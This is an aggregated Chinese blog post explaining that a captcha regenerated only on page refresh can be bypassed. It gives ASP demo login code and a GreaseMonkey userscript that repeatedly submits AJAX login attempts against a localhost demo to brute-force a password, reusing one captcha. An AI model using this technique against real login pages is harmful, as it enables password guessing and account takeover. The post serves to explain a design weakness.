惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

I
Intezer
宝玉的分享
宝玉的分享
V
Visual Studio Blog
The Cloudflare Blog
云风的 BLOG
云风的 BLOG
Engineering at Meta
Engineering at Meta
Stack Overflow Blog
Stack Overflow Blog
Vercel News
Vercel News
P
Proofpoint News Feed
阮一峰的网络日志
阮一峰的网络日志
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
V
V2EX
博客园 - Franky
J
Java Code Geeks
月光博客
月光博客
博客园 - 三生石上(FineUI控件)
D
Docker
IT之家
IT之家
小众软件
小众软件
M
MIT News - Artificial intelligence
Spread Privacy
Spread Privacy
雷峰网
雷峰网
C
CERT Recently Published Vulnerability Notes
N
News | PayPal Newsroom
量子位
The Last Watchdog
The Last Watchdog
The Register - Security
The Register - Security
PCI Perspectives
PCI Perspectives
罗磊的独立博客
S
Secure Thoughts
WordPress大学
WordPress大学
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
B
Blog
T
Threatpost
The GitHub Blog
The GitHub Blog
博客园 - 叶小钗
U
Unit 42
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
H
Help Net Security
Cloudbric
Cloudbric
G
Google Developers Blog
C
Cyber Attacks, Cyber Crime and Cyber Security
人人都是产品经理
人人都是产品经理
H
Heimdal Security Blog
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Last Week in AI
Last Week in AI
Jina AI
Jina AI
O
OpenAI News
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
美团技术团队

博客园 - 张远强

原版SQLHelper.cs下载 Chrome浏览器Proxy Switchy、Tampermonkey等扩展程序下载 GreaseMonkey脚本:阻止Google转换搜索链接地址 站在31岁,理解程序员年过三十这道坎 DateTime.ToString格式限定符转义 借Windows说明Linux分区和挂载点 JSON解析类(C#) 彻底解决ASP.NET MD5加密中文结果和ASP不一致的问题 SharpZipLib使用示例 DotNetZip使用示例 Dvbbs 8.2.0 RC1多功能编辑器,提供下载 B/S系统版本管理V1.0正式发布 ASP.NET 2.0缓存 个人网站与动网整合步骤(支持PDO1.0) - 张远强 - 博客园 C#中显/隐式实现接口及其访问方法 C#接口范例 巧用escape解决ASP.NET中URL传参乱码问题 使用Filter实现信息的二次检索 使用overflow代替left截取指定长度字符串
GreaseMonkey让网站登录验证码形同虚设
张远强 · 2012-01-19 · via 博客园 - 张远强

通常,为了增加暴力猜解网站用户密码的难度,我们会在网页登录框中增加一个验证码,验证码保存在服务器端,而客户端则使用一张图片显示:

验证码在整个登录过程表现为:用户打开登录页面时,服务器产生一个验证码,点击登录后,跳转到登录页面,服务器端检查用户输入的验证码是否正确,若错误,跳回到登录页面,生成一个新验证码让用户再次输入登录。注意,生成新验证码的条件是登录页面刷新了!

以前没觉得这有什么问题,今天了解12306自动登录脚本后,发现这问题太严重了,当使用GreaseMonkey时,简直可以无视验证码的存在,原因是借助GreaseMonkey可以在页面使用Ajax提交表单进行登录,这过程不会刷新登录页面,所以服务器不会生成新验证码,因而只要手工输下验证码,脚本就可以不断尝试登录进行猜解用户名密码!

1.GreaseMonkey自动登录演示

为了减少代码量,便于说明问题,下边演示时验证码不转为图形,直接输出Session,效果一样,不影响结论。

Default.asp:

View Code

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>登录演示</title>
</head>

<body>
<%
Randomize
SESSION("passCode") = Int(8999*Rnd+1000'生成验证码
%>
<form id="form1" name="form1" method="post" action="Login.asp">
用户名:<input type="text" name="txtUsn" id="txtUsn" /><br />
密码:<input type="text" name="txtUsp" id="txtUsp" /><br />
验证码:<input type="text" name="txtPassCode" id="txtPassCode" /><%=SESSION("passCode")%> <br />
<input type="submit" name="btn1" id="btn1" value="提交" />
</form>
</body>
</html>

Login.asp:

View Code

<%
Response.Charset = "utf-8"

Dim usn, usp, code, msg
usn = Request.Form("txtUsn")
usp = Request.Form("txtUsp")
code = Request.Form("txtPassCode")

Response.Write(Login(usn, usp, code))

'登录函数
Function Login(usn, usp, code)
    If SESSION("Login") = True Then
        Login = "登录成功."
    Else
        If usn<>"" And usp<>"" Then
            If code<>CStr(SESSION("passCode")) Then
                Login = "验证码出错,请重新输入."
                Exit Function
            End If
        
            If usn="admin" And usp="admin888" Then
                SESSION("Login") = True
                Login = "登录成功."
            Else
                Login = "用户名或密码出错,请重新输入."
            End If
        Else
            Login = "用户未登录."
        End If
    End If    
End Function
%>

GreaseMonkey脚本:

View Code

// ==UserScript==
//
 @name           自动登录
//
 @namespace      com.mzwu
//
 @include        http://localhost/default.asp
//
 @require           https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js
//
 ==/UserScript==

if(typeof($) != "undefined")
{
    $("body").append("<input type=\"button\" name=\"btn2\" id=\"btn2\" value=\"登录测试\" />");

    $("#btn2").click(function(){
        var usn = "admin";
        var usp = "";
        var code = $("#txtPassCode").val();
        var responseText = "";
        var i = 0;

        while(responseText.indexOf("登录成功") == -1)
        {
            usp = "admin88" + (++i); //猜解密码
            $.ajax({
                type : "POST",
                url  : "Login.asp?r=" + Math.random(),
                data : "txtUsn=" + usn + "&txtUsp=" + usp + "&txtPassCode=" + code,
                async: false,
                success : function(msg){
                    responseText = msg;
                    if(responseText.indexOf("登录成功") != -1)
                    {
                        alert("登录成功.尝试次数:" + i);
                        location.href = "Login.asp";
                    }
                }
            });
        }
    });

    clearInteval(timer);
}

测试结果:

 

------------------------------------------------ 

dnawo:天才在于勤奋,知识在于积累!